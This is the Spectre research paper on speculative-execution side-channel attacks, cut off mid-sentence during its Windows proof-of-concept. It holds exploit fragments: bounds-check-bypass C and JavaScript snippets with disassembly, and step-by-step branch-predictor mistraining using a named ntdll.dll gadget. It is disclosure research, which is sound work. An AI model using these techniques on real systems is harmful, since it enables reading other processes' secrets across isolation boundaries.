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Spectre Attacks: Exploiting Speculative Execution∗
Paul Kocher(1) , Daniel Genkin(2), Daniel Gruss(3) , Werner Haas(4), Mike Hamburg(5) , Moritz Lipp(3) , Stefan Mangard(3), Thomas Prescher(4) , Michael Schwarz(3), Yuval Yarom(6)
(1) Independent
(2)University of Pennsylvania and University of Maryland
(3) Graz University of Technology
(4) Cyberus Technology
(5)Rambus, Cryptography Research Division
(6)University of Adelaide and Data61


Modern processors use branch prediction and specula tive execution to maximize performance. For example, if the destination of a branch depends on a memory value that is in the process of being read, CPUs will try guess the destination and attempt to execute ahead. When the memory value finally arrives, the CPU either discards or commits the speculative computation. Speculative logic  is unfaithful in how it executes, can access to the victim’s memory and registers, and can perform operations with measurable side effects.

Spectre attacks involve inducing a victim to speculatively perform operations that would not occur during correct program execution and which leak the victim’s confidential information via a side channel to the adversary. This paper describes practical attacks that combine methodology from side channel attacks, fault attacks, and return-oriented programming that can read arbitrary memory from the victim’s process. More broadly, the paper shows that speculative execution implementations violate the security assumptions underpinning numerous software security mechanisms, including operating system process separation, static analysis, containerization, just-in-time (JIT) compilation, and countermeasures to cache timing/side-channel attacks. These attacks represent a serious threat to actual systems, since vulnerable speculative execution capabilities are found in microprocessors from Intel, AMD, and ARM that are used in billions of devices.

While makeshift processor-specific countermeasures are possible in some cases, sound solutions will require fixes to processor designs as well as updates to instruction set architectures (ISAs) to give hardware architects and software developers a common understanding as to what computation state CPU  implementations are (and are not) permitted to leak.

∗After reporting the results here, we were informed that our work partly overlaps the results of independent work done at Google’s Project Zero.

Computations performed by physical devices often leave
observable side effects beyond the computation’s nom-
inal outputs. Side channel attacks focus on exploit-
ing these side effects in order to extract otherwise-
unavailable secret information. Since their introduction
in the late 90’s [25], many physical effects such as power
consumption [23, 24], electromagnetic radiation [31], or
acoustic noise [17] have been leveraged to extract cryp-
tographic keys as well as other secrets.
While physical side channel attacks can be used to
extract secret information from complex devices such
as PCs and mobile phones [15, 16], these devices face
additional threats that do not require external measure-
ment equipment because they execute code from po-
tentially unknown origins. While some software-based
attacks exploit software vulnerabilities (such as buffer
overflow or use-after-free vulnerabilities ) other soft-
ware attacks leverage hardware vulnerabilities in order
to leak sensitive information. Attacks of the latter type
include microarchitectural attacks exploiting cache tim-
ing [9, 30, 29, 35, 21, 36, 28], branch prediction his-
tory [7, 6], or Branch Target Buffers [26, 11]). Software-
based techniques have also been used to mount fault at-
tacks that alter physical memory [22] or internal CPU
values [34].
Speculative execution is a technique used by high-
speed processors in order to increase performance by
guessing likely future execution paths and prematurely
executing the instructions in them. For example when
the program’s control flow depends on an uncached value
located in the physical memory, it may take several
hundred clock cycles before the value becomes known.
Rather than wasting these cycles by idling, the processor
guesses the direction of control flow, saves a checkpoint
of its register state, and proceeds to speculatively execute
the program on the guessed path. When the value even-
tually arrives from memory the processor checks the cor-
rectness of its initial guess. If the guess was wrong, the
processor discards the (incorrect) speculative execution
by reverting the register state back to the stored check-
point, resulting in performance comparable to idling. In
case the guess was correct, however, the speculative ex-
ecution results are committed, yielding a significant per-
formance gain as useful work was accomplished during
the delay.
From a security perspective, speculative execution in-
volves executing a program in possibly incorrect ways.
However, as processors are designed to revert the results
of an incorrect speculative execution on their prior state
to maintain correctness, these errors were previously as-
sumed not to have any security implications.
Our Results
Exploiting Speculative Execution. In this paper, we
show a new class of microarchitectural attacks which we
call Spectre attacks. At a high level, Spectre attacks trick
the processor into speculatively executing instructions
sequences that should not have executed during correct
program execution. As the effects of these instructions
on the nominal CPU state will be eventually reverted, we
call them transient instructions. By carefully choosing
which transient instructions are speculatively executed,
we are able to leak information from within the victim’s
memory address space.
We empirically demonstrate the feasibility of Spectre
attacks by using transient instruction sequences in order
to leak information across security domains.
Attacks using Native Code. We created a simple vic-
tim program that contains secret data within its memory
access space. Next, after compiling the victim program
we searched the resulting binary and the operating sys-
tem’s shared libraries for instruction sequences that can
be used to leak information from the victim’s address
space. Finally, we wrote an attacker program that ex-
ploits the CPU’s speculative execution feature in order to
execute the previously-found sequences as transient in-
structions. Using this technique we were able to read the
entire victim’s memory address space, including the se-
crets stored within it.
Attacks using JavaScript. In addition to violating pro-
cess isolation boundaries using native code, Spectre at-
tacks can also be used to violate browser sandboxing, by
mounting them via portable JavaScript code. We wrote a
JavaScript program that successfully reads data from the
address space of the browser process running it.
Our Techniques
At a high level, a Spectre attack violates memory isola-
tion boundaries by combining speculative execution with
data exfiltration via microarchitectural covert channels.
More specifically, in order to mount a Spectre attack,
an attacker starts by locating a sequence of instructions
within the process address space which when executed
acts as a covert channel transmitter which leaks the vic-
tim’s memory or register contents. The attacker then
tricks the CPU into speculatively and erroneously exe-
cuting this instruction sequence, thereby leaking the vic-
tim’s information over the covert channel. Finally, the at-
tacker retrieves the victim’s information over the covert
channel. While the changes to the nominal CPU state
resulting from this erroneous speculative execution are
eventually reverted, changes to other microarchitectural
parts of the CPU (such as cache contents) can survive
nominal state reversion.
The above description of Spectre attacks is general,
and needs to be concretely instantiated with a way
to induce erroneous speculative execution as well as
with a microarchitectural covert channel. While many
choices are possible for the covert channel compo-
nent, the implementations described in this work use a
cache-based covert channel using Flush+Reload [37] or
Evict+Reload [28] techniques.
We now proceed to describe our techniques for induc-
ing and influencing erroneous speculative execution.
Exploiting Conditional Branches. To exploit condi-
tional branches, the attacker needs the branch predictor
to mispredict the direction of the branch, then the pro-
cessor must speculatively execute code that would not be
otherwise executed which leaks the information sought
by the attacker. Here is an example of exploitable code:
if (x < array1_size)
y = array2[array1[x] * 256];
In this example, the variable x contains attacker-
controlled data. The if statement compiles to a branch
instruction, whose purpose is to verify that the value
of x is within a legal range, ensuring that the access to
array1 is valid.
For the exploit, the attacker first invokes the relevant
code with valid inputs, training the branch predictor to
expect that the if will be true. The attacker then invokes
the code with a value of x outside the bounds of array1
and with array1 size uncached. The CPU guesses
that the bounds check will be true, the speculatively exe-
cutes the read from array2[array1[x] * 256] using
the malicious x. The read from array2 loads data into
the cache at an address that is dependent on array1[x] using the malicious x. The change in the cache state is
not reverted when the processor realizes that the specu-
lative execution was erroneous, and can be detected by
the adversary to find a byte of the victim’s memory. By
repeating with different values of x, this construct can be
exploited to read the victim’s memory.
Exploiting Indirect Branches. Drawing from return-
oriented programming (ROP) [33], in this method the at-
tacker chooses a gadget from the address space of the
victim and influences the victim to execute the gadget
speculatively. Unlike ROP, the attacker does not rely on
a vulnerability in the victim code. Instead, the attacker
trains the Branch Target Buffer (BTB) to mispredict a
branch from an indirect branch instruction to the address
of the gadget, resulting in a speculative execution of the
gadget. While the speculatively executed instructions are
abandoned, their effects on the cache are not reverted.
These effects can be used by the gadget to leak sensitive
information. We show how, with a careful selection of a
gadget, this method can be used to read arbitrary memory
from the victim.
To mistrain the BTB, the attacker finds the virtual ad-
dress of the gadget in the victim’s address space, then
performs indirect branches to this address. This training
is done from the attacker’s address space, and it does not
matter what resides at the gadget address in the attacker’s
address space; all that is required is that the branch used
for training branches to use the same destination virtual
address. (In fact, as long as the attacker handles excep-
tions, the attack can work even if there is no code mapped
at the virtual address of the gadget in the attacker’s ad-
dress space.) There is also no need for a complete match
of the source address of the branch used for training and
the address of the targetted branch. Thus, the attacker
has significant flexibility in setting up the training.
Other Variants. Further attacks can be designed by
varying both the method of achieving speculative execu-
tion and the method used to leak the information. Exam-
ples of the former include mistraining return instructions
or return from interrupts. Examples of the latter include
leaking information through timing variations or by gen-
erating contention on arithmetic units.
Targeted Hardware and Current Sta-
Hardware. We have empirically verified the vulnera-
bility of several Intel processors to Spectre attacks, in-
cluding Ivy Bridge, Haswell and Skylake based proces-
sors. We have also verified the attack’s applicability
to AMD Ryzen CPUs. Finally, we have also success-
fully mounted Spectre attacks on several Samsung and
Qualcomm processors (which use an ARM architecture)
found in popular mobile phones.
Current Status. Using the practice of responsible dis-
closure, we have disclosed a preliminary version of our
results to Intel, AMD, ARM, Qualcomm as well as to
other CPU vendors. We have also contacted other com-
panies including Amazon, Apple, Microsoft, Google and
others. The Spectre family of attacks is documented un-
der CVE-2017-5753 and CVE-2017-5715.
Meltdown [27] is a related microarchitectural attack
which exploits out-of-order execution in order to leak
the target’s physical memory. Meltdown is distinct from
Spectre Attacks in two main ways. First, unlike Spectre,
Meltdown does not use branch prediction for achieving
speculative execution. Instead, it relies on the observa-
tion that when an instruction causes a trap, following in-
structions that were executed out-of-order are aborted.
Second, Meltdown exploits a privilege escalation vulner-
ability specific to Intel processors, due to which specula-
tively executed instructions can bypass memory protec-
tion. Combining these issues, Meltdown accesses kernel
memory from user space. This access causes a trap, but
before the trap is issued, the code that follows the ac-
cess leaks the contents of the accessed memory through
a cache channel.
Unlike Meltdown, the Spectre attack works on non-
Intel processors, including AMD and ARM processors.
Furthermore, the KAISER patch [19], which has been
widely applied as a mitigation to the Meltdown attack,
does not protect against Spectre.
In this section we describe some of the microarchitec-
tural components of modern high-speed processors, how
they improve the performance, and how they can leak
information from running programs. We also describe
return-oriented-programming (ROP) and ‘gadgets’.
Out-of-order Execution
An out-of-order execution paradigm increases the uti-
lization of the processor’s components by allowing in-
structions further down the instruction stream of a pro-
gram to be executed in parallel with, and sometimes be-
fore, preceding instructions.
The processor queues completed instructions in the re-
order buffer. Instructions in the reorder buffer are retired
in the program execution order, i.e., an instruction is only
retired when all preceding instructions have been com-
pleted and retired.
Only upon retirement, the results of the retired instruc-
tions are committed and made visible externally.
Speculative Execution
Often, the processor does not know the future instruction
stream of a program. For example, this occurs when out-
of-order execution reaches a conditional branch instruc-
tion whose direction depends on preceding instructions
whose execution has not completed yet. In such cases,
the processor can make save a checkpoint containing its
current register state, make a prediction as to the path
that the program will follow, and speculatively execute
instructions along the path. If the prediction turns out to
be correct, the checkpoint is not needed and instructions
are retired in the program execution order. Otherwise,
when the processor determines that it followed the wrong
path, it abandons all pending instructions along the path
by reloading its state from the checkpoint and execution
resumes along the correct path.
Abandoning instructions is performed so that changes
made by instructions outside the program execution path
are not made visible to the program. Hence, the specula-
tive execution maintains the logical state of the program
as if execution followed the correct path.
Branch Prediction
Speculative execution requires that the processor make
guesses as to the likely outcome of branch instructions.
Better predictions improve performance by increasing
the number of speculatively executed operations that can
be successfully committed.
Several processor components are used for predict-
ing the outcome of branches. The Branch Target Buffer
(BTB) keeps a mapping from addresses of recently ex-
ecuted branch instructions to destination addresses [26].
Processors can uses the BTB to predict future code ad-
dresses even before decoding the branch instructions.
Evtyushkin et al. [11] analyze the BTB of a Intel Haswell
processor and conclude that only the 30 least significant
bits of the branch address are used to index the BTB. Our
experiments on show similar results but that only 20 bits
are required.
For conditional branches, recording the target address
is not sufficient for predicting the outcome of the branch.
To predict whether a conditional branch is taken or not,
the processor maintains a record of recent branches out-
comes. Bhattacharya et al. [10] analyze the structure of
branch history prediction in recent Intel processors.
The Memory Hierarchy
To bridge the speed gap between the faster processor and
the slower memory, processors use a hierarchy of suc-
cessively smaller but faster caches. The caches divide
the memory into fixed-size chunks called lines, with typ-
ical line sizes being 64 or 128 bytes. When the processor
needs data from memory, it first checks if the L1 cache,
at the top of the hierarchy, contains a copy. In the case
of a cache hit, when the data is found in the cache, the
data is retrieved from the L1 cache and used. Otherwise,
in a cache miss, the procedure is repeated to retrieve the
data from the next cache level. Additionally, the data is
stored in the L1 cache, in case it is needed again in the
near future. Modern Intel processors typically have three
cache levels, with each core having dedicated L1 and L2
caches and all cores sharing a common L3 cache, also
known as the Last-Level Cache (LLC).
Microarchitectural Side-Channel At-
All of the microarchitectural components we discuss
above improve the processor performance by predicting
future program behavior. To that aim, they maintain state
that depends on past program behavior and assume that
future behavior is similar to or related to past behavior.
When multiple programs execute on the same hard-
ware, either concurrently or via time sharing, changes
in the microarchitectural state caused by the behavior of
one program may affect other programs. This, in turn,
may result in unintended information leaks from one pro-
gram to another [13]. Past works have demonstrated at-
tacks that leak information through the BTB [26, 11],
branch history [7, 6], and caches [29, 30, 35, 21].
In this work we use the Flush+Reload technique [21,
36] and its variant, Evict+Reload [20] for leaking sensi-
tive information. Using these techniques, the attacker be-
gins by evicting from the cache a cache line shared with
the victim. After the victim executes for a while, the at-
tacker measures the time it takes to perform a memory
read at the address corresponding to the evicted cache
line. If the victim accessed the monitored cache line,
the data will be in the cache and the access will be fast.
Otherwise, if the victim has not accessed the line, the
read will be slow. Hence, by measuring the access time,
the attacker learns whether the victim accessed the mon-
itored cache line between the eviction and probing steps.
The main difference between the two techniques is the
mechanism used for evicting the monitored cache line
from the cache. In the Flush+Reload technique, the at-
tacker uses a dedicated machine instruction, e.g., x86’s
clflush, to evict the line. In Evict+Reload, eviction
is achieved by forcing contention on the cache set that
stores the line, e.g., by accessing other memory locations
which get bought into the cache and (due to the limited
size of the cache) cause the processor to discard the evict
the line that is subsequently probed.
Return-Oriented Programming
Return-Oriented Programming (ROP) [33] is a technique
for exploiting buffer overflow vulnerabilities. The tech-
nique works by chaining machine code snippets, called
gadgets that are found in the code of the vulnerable vic-
tim. More specifically, the attacker first finds usable gad-
gets in the victim binary. She then uses a buffer overflow
vulnerability to write a sequence of addresses of gadgets
into the victim program stack. Each gadget performs
some computation before executing a return instruction.
The return instruction takes the return address from the
stack, and because the attacker control this address, the
return instruction effectively jumping into the next gad-
get in the chain.
Attack Overview
Spectre attacks induce a victim to speculatively perform
operations that would not occur during correct program
execution and which leak the victim’s confidential infor-
mation via a side channel to the adversary. We first de-
scribe variants that leverage conditional branch mispre-
dictions (Section 4), then variants that leverage mispre-
diction of the targets of indirect branches (Section 5).
In most cases, the attack begins with a setup phase,
where the adversary performs operations that mistrain
the processor so that it will later make an exploitably
erroneous speculative prediction. In addition, the setup
phase usually includes steps to that help induce spec-
ulative execution, such as performing targeted memory
reads that cause the processor to evict from its cache a
value that is required to determine the destination of a
branching instruction. During the setup phase, the ad-
versary can also prepare the side channel that will be
used for extracting the victim’s information, e.g. by per-
forming the flush or evict portion of a flush+reload or
evict+reload attack.
During the second phase, the processor speculatively
executes instruction(s) that transfer confidential informa-
tion from the victim context into a microarchitectural
side channel. This may be triggered by having the at-
tacker request that the victim to perform an action (e.g.,
via a syscall, socket, file, etc.). In other cases, the at-
tacker’s may leverage the speculative (mis-)execution of
its own code in order to obtain sensitive information from
the same process (e.g., if the attack code is sandboxed by
an interpreter, just-in-time compiler, or ‘safe’ language
and wishes to read memory it is not supposed to access).
While speculative execution can potentially expose sen-
sitive data via a broad range of side channels, the exam-
ples given cause speculative execution to read memory
value at an attacker-chosen address then perform a mem-
ory operation that modifies the cache state in a way that
exposes the value.
For the final phase, the sensitive data is recovered. For
Spectre attacks using flush+reload or evict+reload, the
recovery process consists of timing how long reads take
from memory addresses in the cache lines being moni-
Spectre attacks only assume that speculatively exe-
cuted instructions can read from memory that the victim
process could access normally, e.g., without triggering a
page fault or exception. For example, if a processor pre-
vents speculative execution of instructions in user pro-
cesses from accessing kernel memory, the attack will still
work. [12]. As a result, Spectre is orthogonal to Melt-
down [27] which exploits scenarios where some CPUs
allow out-of-order execution of user instructions to read
kernel memory.
Exploiting Conditional Branch Mispre-
Consider the case where the code in Listing 1 is part
of a function (such as a kernel syscall or cryptographic
library) that receives an unsigned integer x from an
untrusted source. The process running the code has
access to an array of unsigned bytes array1 of size
array1 size, and a second byte array array2 of size
if (x < array1_size)
y = array2[array1[x] * 256];
Listing 1: Conditional Branch Example
The code fragment begins with a bounds check on x
which is essential for security. In particular, this check
prevents the processor from reading sensitive memory
outside of array1. Otherwise, an out-of-bounds input
x could trigger an exception or could cause the processor
to access sensitive memory by supplying x = (address of
a secret byte to read) − (base address of array1).
Unfortunately, during speculative execution, the con-
ditional branch for the bounds check can follow the in-
correct path. For example, suppose an adversary causes
the code to run such that:
• the value of x is maliciously chosen (and out-of-
bounds) such that array1[x] resolves to a secret
byte k somewhere in the victim’s memory;
• array1 size and array2 are not present in the pro-
cessor’s cache, but k is cached; and
• previous operations received values of x that were
valid, leading the branch predictor to assume the if
will likely be true.
This cache configuration can occur naturally or can be
created by an adversary, e.g., by simply reading a large
amount of memory to fill the cache with unrelated val-
ues, then having the kernel use the secret key in a le-
gitimate operation. If the cache structure is known [38] 5
or if the CPU provides a cache flush instruction (e.g.,
the x86 clflush instruction) then the cache state can be
achieved even more efficiently.
When the compiled code above runs, the processor
begins by comparing the malicious value of x against
array1 size. Reading array1 size results in a cache
miss, and the processor faces a substantial delay until
its value is available from DRAM. During this wait, the
branch predictor assumes the if will be true, and the
speculative execution logic adds x to the base address
of array1 and requests the data at the resulting address
from the memory subsystem. This read is a cache hit, and
quickly returns the value of the secret byte k. The specu-
lative execution logic then uses k to compute the address
of array2[k * 256], then sends a request to read this
address from memory (resulting in another cache miss).
While the read from array2 is pending, the value of
array1 size finally arrives from DRAM. The proces-
sor realizes that its speculative execution was erroneous,
and rewinds its register state. However, on actual proces-
sors, the speculative read from array2 affects the cache
state in an address-specific manner, where the address
depends on k.
To complete the attack, the adversary simply needs to
detect the change in the cache state to recover the se-
cret byte k. This is easy if array2 is readable by the
attacker since the next read to array2[n*256] will be
fast for n=k and slow for all other n ∈ 0..255. Other-
wise, a prime-and-probe attack [29] can infer k by de-
tecting the eviction caused by the read from array2. Al-
ternatively, the adversary can immediately call the tar-
get function again with an in-bounds value x’ and mea-
sure how long the second call takes. If array1[x’] equals k, then the location accessed in array2 will be
in the cache and the operation will tend to be faster than
if array1[x’]! = k. This yields a memory compari-
son operation that, when called repeatedly, can solve for
memory bytes as desired. Another variant leverages the
cache state entering the speculative execution, since the
performance of the speculative execution changes based
on whether array2[k*256] was cached, which can then
be inferred based on any measurable effects from subse-
quent speculatively-executed instructions.
Experiments were performed on multiple x86 processor
architectures, including Intel Ivy Bridge (i7-3630QM),
Intel Haswell (i7-4650U), Intel Skylake (unspecified
Xeon on Google Cloud), and AMD Ryzen. The Spectre
vulnerability was observed on all of these CPUs. Similar
results were observed on both 32- and 64-bit modes, and
both Linux and Windows. Some ARM processors also
support speculative execution [2], and initial testing has
confirmed that ARM processors are impacted as well.
Speculative execution can proceed far ahead of the
main processor. For example, on an i7 Surface Pro 3
(i7-4650U) used for most of the testing, the code in Ap-
pendix A works with up to 188 simple instructions in-
serted in the source code between the ‘if’ statement and
the line accessing array1/array2.
Example Implementation in C
Appendix A includes demonstration code in C for x86
In this code, if the compiled instructions in
victim function() were executed in strict program
order, the function would only read from array1[0..15] since array1 size = 16. However, when executed
speculatively, out-of-bounds reads are possible.
The read memory byte() function makes several
training calls to victim function() to make the
branch predictor expect valid values for x, then calls
with an out-of-bounds x. The conditional branch mis-
predicts, and the ensuing speculative execution reads a
secret byte using the out-of-bounds x. The specula-
tive code then reads from array2[array1[x] * 512],
leaking the value of array1[x] into the cache state.
To complete the attack, a simple flush+probe is used
to identify which cache line in array2 was loaded, re-
veaing the memory contents. The attack is repeated sev-
eral times, so even if the target byte was initially un-
cached, the first iteration will bring it into the cache.
The unoptimized code in Appendix A reads approxi-
mately 10KB/second on an i7 Surface Pro 3.
As a proof-of-concept, JavaScript code was written
that, when run in the Google Chrome browser, allows
JavaScript to read private memory from the process
in which it runs (cf. Listing 2). The portion of the
JavaScript code used to perform the leakage is as fol-
lows, where the constant TABLE1 STRIDE = 4096 and
On branch-predictor mistraining passes, index is set
(via bit operations) to an in-range value, then on the
final iteration index is set to an out-of-bounds address
into simpleByteArray. The variable localJunk is
used to ensure that operations are not optimized out,
and the “|0” operations act as optimization hints to the
JavaScript interpreter that values are integers.
Like other optimized JavaScript engines, V8 performs
just-in-time compilation to convert JavaScript into ma-
chine language. To obtain the x86 disassembly of the
1 if (index < simpleByteArray.length) {
index = simpleByteArray[index | 0];
index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0;
localJunk ^= probeTable[index|0]|0;
5 }
Listing 2: Exploiting Speculative Execution via JavaScript.
cmpl r15,[rbp-0xe0] 2
jnc 0x24dd099bb870
REX.W leaq rsi,[r12+rdx*1] 4
movzxbl rsi,[rsi+r15*1] 5
shll rsi, 12
andl rsi,0x1ffffff
movzxbl rsi,[rsi+r8*1] 8
xorl rsi,rdi
REX.W movq rdi,rsi
Compare index (r15) against simpleByteArray.length
If index >= length, branch to instruction after movq below
Set rsi=r12+rdx=addr of first byte in simpleByteArray
Read byte from address rsi+r15 (= base address+index)
Multiply rsi by 4096 by shifting left 12 bits}\%\
AND reassures JIT that next operation is in-bounds
Read from probeTable
XOR the read result onto localJunk
Copy localJunk into rdi
Listing 3: Disassembly of Speculative Execution in JavaScript Example (Listing 2).
JIT output during development, the command-line tool
D8 was used. Manual tweaking of the source code lead-
ing up to the snippet above was done to get the value of
simpleByteArray.length in local memory (instead of
cached in a register or requiring multiple instructions to
fetch). See Listing 3 for the resulting disassembly output
from D8 (which uses AT&T assembly syntax).
The clflush instruction is not accessible from
JavaScript, so cache flushing was performed by reading
a series of addresses at 4096-byte intervals out of a large
array. Because of the memory and cache configuration
on Intel processors, a series of ̃2000 such reads (depend-
ing on the processor’s cache size) were adequate evict out
the data from the processor’s caches for addresses having
the same value in address bits 11–6 [38].
The leaked results are conveyed via the cache status
of probeTable[n*4096] for n ∈ 0..255, so each at-
tempt begins with a flushing pass consisting of a series
of reads made from probeTable[n*4096] using values
of n > 256. The cache appears to have several modes for
deciding which address to evict, so to encourage a LRU
(least-recently-used) mode, two indexes were used where
the second trailed the first by several operations. The
length parameter (e.g., [ebp-0xe0] in the disassembly)
needs to be evicted as well. Although its address is un-
known, but there are only 64 possible 64-byte offsets rel-
ative to the 4096-byte boundary, so all 64 possibilities
were tried to find the one that works.
JavaScript does not provide access to the rdtscp in-
struction, and Chrome intentionally degrades the accu-
racy of its high-resolution timer to dissuade timing at-
tacks using [1]. However, the
Web Workers feature of HTML5 makes it simple to cre-
ate a separate thread that repeatedly decrements a value
in a shared memory location [18, 32]. This approach
yielded a high-resolution timer that provided sufficient
Poisoning Indirect Branches
Indirect branch instructions have the ability to jump to
more than two possible target addresses. For example,
x86 instructions can jump to an address in a register
(“jmp eax”), an address in a memory location (“jmp
[eax]” or “jmp dword ptr [0x12345678]”), or an
address from the stack (“ret”). Indirect branches are
also supported on ARM (e.g., “MOV pc, r14”), MIPS
(e.g., “jr $ra”), RISC-V (e.g., “jalr x0,x1,0”), and
other processors.
If the determination of the destination address is de-
layed due to a cache miss and the branch predictor has
been mistrained with malicious destinations, speculative
execution may continue at a location chosen by the ad-
versary. As a result, speculative execution can be misdi-
rected to locations that would never occur during legit-
imate program execution. If speculative execution can
leave measurable side effects, this is extremely power-
ful for attackers, for example exposing victim memory
even in the absence of an exploitable conditional branch
Consider the case where an attacker seeking to read
a victim’s memory controls the values in two registers
(denoted R1 and R2) when an indirect branch occurs.
This is a common scenario; functions that manipulate
externally-received data routinely make function calls
while registers contain values that an attacker can con-
trol. (Often these values are ignored by the function; the
registers are pushed on the stack at the beginning of the
called function and restored at the end.)
Assuming that the CPU limits speculative execution
to instructions in memory executable by the victim, the
adversary then needs to find a ‘gadget’ whose specula-
tive execution will leak chosen memory. For example,
a such a gadget would be formed by two instructions
(which do not necessarily need to be adjacent) where the
first adds (or XORs, subtracts, etc.) the memory loca-
tion addressed by R1 onto register R2, followed by any
instruction that accesses memory at the address in R2.
In this case, the gadget provides the attacker control (via
R1) over which address to leak and control (via R2) over
how the leaked memory maps to an address which gets
read by the second instruction. (The example implemen-
tation on Windows describes in more detail an example
memory reading process using such a gadget.)
Numerous other exploitation scenarios are possible,
depending on what state is known or controlled by the
adversary, where the information sought by the adver-
sary resides (e.g., registers, stack, memory, etc.), the ad-
versary’s ability to control speculative execution, what
instruction sequences are available to form gadgets, and
what channels can leak information from speculative op-
erations. For example, a cryptographic function that re-
turns a secret value in a register may become exploitable
if the attacker can simply induce speculative execution
at an instruction that brings into the cache memory at
the address specified in the register. Likewise, although
the example above assumes that the attacker controls two
registers (R1 and R2), attacker control over a single reg-
ister, value on the stack, or memory value is sufficient for
some gadgets.
In many ways, exploitation is similar to return-
oriented programming (ROP), except that correctly-
written software is vulnerable, gadgets are limited in
their duration but need not terminate cleanly (since the
CPU will eventually recognize the speculative error), and
gadgets must exfiltrate data via side channels rather than
explicitly. Still, speculative execution can perform com-
plex sequences of instructions, including reading from
the stack, performing arithmetic, branching (including
multiple times), and reading memory.
Tests, primarily on a Haswell-based Surface Pro 3, con-
firmed that code executing in one hyper-thread of Intel
x86 processors can mistrain the branch predictor for code
running on the same CPU in a different hyper-thread.
Tests on Skylake additionally indicated branch history
mistraining between processes on the same vCPU (which
likely occurs on Haswell as well).
The branch predictor maintains a cache that maps a
jump histories to predicted jump destinations, so suc-
cessful mistraining requires convincing the branch pre-
dictor to create an entry whose history sufficiently mim-
ics the victim’s lead-up to the target branch, and whose
prediction destination is the virtual address of the gadget.
Several relevant hardware and operating system im-
plementation choices were observed, including:
• Speculative execution was only observed when the
branch destination address was executable by the vic-
tim thread, so gadgets need to be present in the mem-
ory regions executable by the victim.
• When multiple Windows applications share the same
DLL, normally a single copy is loaded and (except
for pages that are modified as described below) is
mapped to the same virtual address for all processes
using the DLL. For even a very simple Windows
application, the executable DLL pages in the work-
ing set include several megabytes of executable code,
which provides ample space to search for gadgets.
• For both history matching and predictions, the branch
predictor only appears to pay attention to branch des-
tination virtual addresses. The source address of the
instruction performing the jump, physical addresses,
timing, and process ID do not appear to matter.
• The algorithm that tracks and matches jump histo-
ries appears to use only the low bits of the virtual
address (which are further reduced by simple hash
function). As a result, an adversary does not need to
be able to even execute code at any of the memory
addresses containing the victim’s branch instruction.
ASLR can also be compensated, since upper bits are
ignored and bits 15..0 do not appear to be randomized
with ASLR in Win32 or Win64.
• The branch predictor learns from jumps to illegal
destinations. Although an exception is triggered in
the attacker’s process, this can be caught easily (e.g.
using try…catch in C++). The branch predictor
will then make predictions that send other processes
to the illegal destination.
• Mistraining effects across CPUs were not observed,
suggesting that branch predictors on each CPU oper-
ate independently.
• DLL code and constant data regions can be read and
clflush’ed by any process using the DLL, making
them convenient to use as table areas in flush-and-
probe attacks.
• DLL regions can be written by applications. A copy-
on-write mechanism is used, so these modifications
are only visible to the process that performs the mod-
ification. Still, this simplifies branch predictor mis-
training because this allows gadgets to return cleanly
during mistraining, regardless of what instructions
follow the gadget.
Although testing was performed using 32-bit applica-
tions on Windows 8, 64-bit modes and other versions of
Windows and Linux shared libraries are likely to work
similarly. Kernel mode testing has not been performed,
but the combination of address truncation/hashing in the
history matching and trainability via jumps to illegal des-
tinations suggest that attacks against kernel mode may be
possible. The effect on other kinds of jumps, such as in-
terrupts and interrupt returns, is also unknown.
Example Implementation on Windows
As a proof-of-concept, a simple program was written
that generates a random key then does an infinite loop
that calls Sleep(0), loads the first bytes of a file (e.g.,
as a header), calls Windows crypto functions to com-
pute the SHA-1 hash of (key || header), and prints the
hash whenever the header changes. When this program
is compiled with optimization, the call to Sleep() gets
made with file data in registers ebx and edi. No spe-
cial effort was taken to cause this; as noted above, func-
tion calls with adversary-chosen values in registers are
common, although the specifics (such as what values ap-
pear in which registers) are often determined by com-
piler optimizations and therefore difficult to predict from
source code. The test program did not include any mem-
ory flushing operations or other adaptations to help the
The first step was to identify a gadget which, when
speculatively executed with adversary-controlled values
for ebx and edi, would reveal attacker-chosen memory
from the victim process. As noted above, this gadget
must be in an executable page within the working set of
the victim process. (On Windows, some pages in DLLs
are mapped in the address space but require a soft page
fault before becoming part of the working set.) A sim-
ple program was written that saved its own working set
pages, which are largely representative of the working
set contents common to all applications. This output was
then searched for potential gadgets, yielding multiple us-
able options for ebx and edi (as well as for other pairs of
registers). Of these, the following byte sequence which
appears in ntdll.dll in both Windows 8 and Windows
10 was (rather arbitrarily) chosen
13 BC 13 BD 13 BE 13
12 17
which, when executed, corresponds to the following in-
edi,dword ptr [ebx+edx+13BE13BDh] adc
dl,byte ptr [edi] Speculative execution of this gadget with attacker-
controlled ebx and edi allows an adversary to read
the victim’s memory. If the adversary chooses ebx =
m − 0x13BE13BD − edx, where edx = 3 for the sample
program (as determined by running in a debugger), the
first instruction reads the 32-bit value from address m and
adds this onto edi. (In the victim, the carry flag happens
to be clear, so no additional carry is added.) Since edi
is also controlled by the attacker, speculative execution
of the second instruction will read (and bring into the
cache) the memory whose address is the sum of the 32-
bit value loaded from address m and the attacker-chosen
edi. Thus, the attacker can map the 232 possible memory
values onto smaller regions, which can then be analyzed
via flush-and-probe to solve for memory bytes. For ex-
ample, if the bytes at m + 2 and m + 3 are known, the
value in edi can cancel out their contribution and map
the second read to a 64KB region which can be probed
easily via flush-and-probe.
The operation chosen for branch mistraining was the
first instruction of the Sleep() function, which is a
jump of the form “jmp dword ptr ds:[76AE0078h]”
(where both the location of the jump destination and the
destination itself change per reboot due to ASLR). This
jump instruction was chosen because it appeared that the
attack process could clflush the destination address, al-
though (as noted later) this did not work. In addition,
unlike a return instruction, there were no adjacent opera-
tions might un-evict the return address (e.g., by accessing
the stack) and limit speculative execution.
In order to get the victim to speculatively execute the
gadget, the memory location containing the jump desti-
nation needs to be uncached, and the branch predictor
needs be mistrained to send speculative execution to the
gadget. This was accomplished as follows:
• Simple pointer operations were used to locate the
indirect jump at the entry point for Sleep() and
the memory location holding the destination for the
• A search of ntdll.dll in RAM was performed to
find the gadget, and some shared DLL memory was
chosen for performing flush-and-probe detections.
• To prepare for branch predictor mistraining, the
memory page containing the destination for the jump
destination was made writable (via copy-on-write)
and modified to change the jump destination to the
gadget address. Using the same method, a ret 4
instruction was written at the location of the gad-
get. These changes but do not affect the memory
seen by the victim (which is running in a separate
process), but makes it so that the attacker’s calls to
Sleep() will jump to the gadget address (mistrain-
ing the branch predictor) then immediately return.
• A separate thread was launched to repeatedly evict
the victim’s memory address containing the jump
destination. (Although the memory containing the
destination has the same virtual address for the at-
tacker and victim, they appear to have different phys-
ical memory – perhaps because of a prior copy-on-
write.) Eviction was done using the same general
